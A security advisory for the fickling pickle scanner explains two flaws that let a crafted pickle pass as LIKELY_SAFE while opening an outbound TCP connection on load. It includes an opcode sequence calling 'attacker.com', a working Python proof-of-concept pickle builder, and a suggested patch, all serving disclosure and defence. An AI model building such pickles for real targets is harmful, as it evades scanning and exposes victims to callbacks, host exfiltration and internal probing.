# Our assessment

`imtplib`, `imaplib`, `ftplib`, `poplib`, `telnetlib`, and `nntplib` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The `UnusedVariables` heuristic works as expected.

# Original report

## Summary

Fickling's `check_safety()` API and `--check-safety` CLI flag incorrectly rate as
`LIKELY_SAFE` pickle files that open outbound TCP connections at deserialization time
using stdlib network-protocol constructors: `smtplib.SMTP`, `imaplib.IMAP4`,
`ftplib.FTP`, `poplib.POP3`, `telnetlib.Telnet`, and `nntplib.NNTP`.

The bypass exploits two independent root causes described below.

---

## Root Cause 1: Incomplete blocklist (fixed in PR #233)

`fickling/fickle.py` (lines 41-97) defines `UNSAFE_IMPORTS`, the primary blocklist.
`fickling/analysis.py` (lines 229-248) defines the parallel
`UnsafeImportsML.UNSAFE_MODULES` dict. Both omitted the following stdlib
network-protocol modules whose constructors open a TCP socket at instantiation time:

| Module | Class | Default port | Constructor side-effect |
|---|---|---|---|
| `smtplib` | `SMTP` | 25 | TCP connect, reads SMTP banner, sends EHLO |
| `imaplib` | `IMAP4` | 143 | TCP connect, reads IMAP capability banner |
| `ftplib` | `FTP` | 21 | TCP connect, reads FTP welcome banner |
| `poplib` | `POP3` | 110 | TCP connect, reads POP3 greeting |
| `telnetlib` | `Telnet` | 23 | TCP connect |
| `nntplib` | `NNTP` | 119 | TCP connect, NNTP handshake |

Because these module names were absent from both blocklists, `UnsafeImportsML`,
`UnsafeImports`, and `NonStandardImports` all stayed silent. All six are genuine
stdlib modules so `is_std_module()` returned `True` and `NonStandardImports` did
not fire.

**Status: patched in PR #233.** The six modules have been added to `UNSAFE_IMPORTS`.

---

## Root Cause 2: Logic flaw in `unused_assignments()` at `fickle.py:1183` (unpatched)

### Description

`unused_assignments()` in `fickling/fickle.py` (lines 1174-1204) identifies variables
that are assigned but never referenced. `UnusedVariables` analysis calls this method
and raises `SUSPICIOUS` for any unreferenced variable -- this would otherwise catch a
bare `REDUCE` opcode that stores its result without using it.

The flaw is at line 1183. The method iterates over `module_body` statements and, when
it encounters the final `result = <expr>` assignment, breaks out of the loop
immediately without first walking the right-hand side expression for `Name` references:

```python
# fickling/fickle.py:1183 (current code -- vulnerable)
if (
len(statement.targets) == 1
and isinstance(statement.targets[0], ast.Name)
and statement.targets[0].id == "result"
):
# this is the return value of the program
break # exits WITHOUT scanning statement.value
```

Any variable that appears only in the RHS of `result = <expr>` is therefore never
added to the `used` set and is incorrectly classified as unused.

### How this enables bypass suppression

When fickling processes a `REDUCE` opcode in isolation, it generates:

```python
_var0 = SMTP('attacker.com', 25)
result = _var0
```

Because the loop breaks before scanning `result = _var0`, `_var0` never enters
`used`. `UnusedVariables` sees `_var0` as unused and raises `SUSPICIOUS`.

Adding a `BUILD` opcode with an empty dict after the `REDUCE` changes the generated
AST to:

```python
from smtplib import SMTP
_var0 = SMTP('attacker.com', 25) # dangerous call
_var1 = _var0 # BUILD step 1: intermediate reference
_var1.__setstate__({}) # BUILD step 2: state call
result = _var1
```

Now `_var0` appears on the RHS of `_var1 = _var0`, a statement processed before the
break, so `_var0` correctly enters `used` and `UnusedVariables` stays silent.

The `__setstate__` call is excluded from `OvertlyBadEvals` because
`ASTProperties.visit_Call` places it in `calls` but not in `non_setstate_calls`
(line 562), and `OvertlyBadEvals` only iterates `non_setstate_calls`.

The `SMTP(...)` call is skipped by `OvertlyBadEvals` because `_process_import` adds
`SMTP` to `likely_safe_imports` for any stdlib module (line 550), and `OvertlyBadEvals`
skips calls whose function name is in `likely_safe_imports` (lines 339-345).

**Net result: zero warnings, severity `LIKELY_SAFE`.**

This flaw is generic -- it applies to any module not on the blocklist, not just the
six fixed in PR #233. Any future blocklist gap can be silently exploited using the
same `REDUCE + EMPTY_DICT + BUILD` pattern as long as this flaw remains unpatched.

### Bypass opcode sequence

```
Offset Opcode Argument
------ ------ --------
0 PROTO 4
2 GLOBAL 'smtplib' 'SMTP'
16 SHORT_BINUNICODE 'attacker.com'
30 BININT2 25
33 TUPLE2
34 REDUCE <- TCP connection opened here
35 EMPTY_DICT
36 BUILD <- suppresses UnusedVariables via flaw
37 STOP
```

Fickling's synthetic AST for this sequence (what all analysis passes inspect):

```python
from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)
_var1 = _var0
_var1.__setstate__({})
result = _var1
```

No analysis rule in fickling fires on this AST.

### Proof of Concept

Requires only `pip install fickling`. Save as `poc.py` and run.

```python
import socket
import threading
import pickle

def build_bypass_pickle(host: str, port: int) -> bytes:
h = host.encode("utf-8")
return b"".join([
b"\x80\x04",
b"csmtplib\nSMTP\n",
b"\x8c" + bytes([len(h)]) + h,
b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]),
b"\x86", # TUPLE2
b"R", # REDUCE
b"}", # EMPTY_DICT
b"b", # BUILD
b".", # STOP
])

def run_poc():
from fickling.analysis import check_safety
from fickling.fickle import Pickled

HOST, PORT = "127.0.0.1", 19902
received = []

def listener():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((HOST, PORT))
srv.listen(1)
srv.settimeout(5)
try:
conn, addr = srv.accept()
received.append(addr)
conn.close()
except socket.timeout:
pass
srv.close()

t = threading.Thread(target=listener, daemon=True)
t.start()

raw = build_bypass_pickle(HOST, PORT)
loaded = Pickled.load(raw)
result = check_safety(loaded)

print(f"[*] fickling severity : {result.severity.name}")
print(f"[*] fickling is_safe : {result.severity.name == 'LIKELY_SAFE'}")

assert result.severity.name == "LIKELY_SAFE", "Bypass failed"
print("[+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed")

print("[*] Calling pickle.loads() to simulate victim loading the file...")
try:
pickle.loads(raw)
except Exception:
pass

t.join(timeout=5)

if received:
print(f"[+] Incoming TCP connection received from {received[0]}")
print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE")
else:
print("[-] No TCP connection received (network blocked)")
print(" fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless")

if __name__ == "__main__":
run_poc()
```

### Expected output

```
[*] fickling severity : LIKELY_SAFE
[*] fickling is_safe : True
[+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed
[*] Calling pickle.loads() to simulate victim loading the file...
[+] Incoming TCP connection received from ('127.0.0.1', 58412)
[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE
```

Tested on Python 3.11.1, Windows. Not OS-specific.

### Impact

An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint)
can silently:

- **Enumerate victims** -- receive a TCP callback every time the pickle is loaded,
including in sandboxed environments
- **Exfiltrate host identity** -- victim IP, hostname (via SMTP EHLO), and service
banners are sent to the attacker's server
- **Probe internal services (SSRF)** -- if the victim host can reach internal SMTP
relays, IMAP stores, or FTP servers, the pickle probes those services on the
attacker's behalf
- **Establish a covert channel** -- protocol handshakes carry attacker-controlled
bytes through a channel fickling explicitly labels safe

The `is_likely_safe()` helper (`fickling/analysis.py:468-474`) and the `--check-safety`
CLI flag both gate on `severity == LIKELY_SAFE`. This bypass clears that gate
completely with zero warnings.

### Suggested fix

Walk `statement.value` before the `break` so variables referenced only in the result
assignment are correctly counted as used:

```python
# fickling/fickle.py:1183 -- suggested fix
if (
len(statement.targets) == 1
and isinstance(statement.targets[0], ast.Name)
and statement.targets[0].id == "result"
):
# scan RHS before breaking so variables used only here are marked as used
for node in ast.walk(statement.value):
if isinstance(node, ast.Name):
used.add(node.id)
break
```

This is the same pattern already used for every other statement in the loop
(lines 1200-1203). All 55 non-torch tests pass with this fix applied.

---

## Affected versions

All releases including `v0.1.7` (latest). Confirmed on latest `master` as of
2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released).
Root cause 2 unpatched as of this report.

## Reporter

Anmol Vats

CWE-184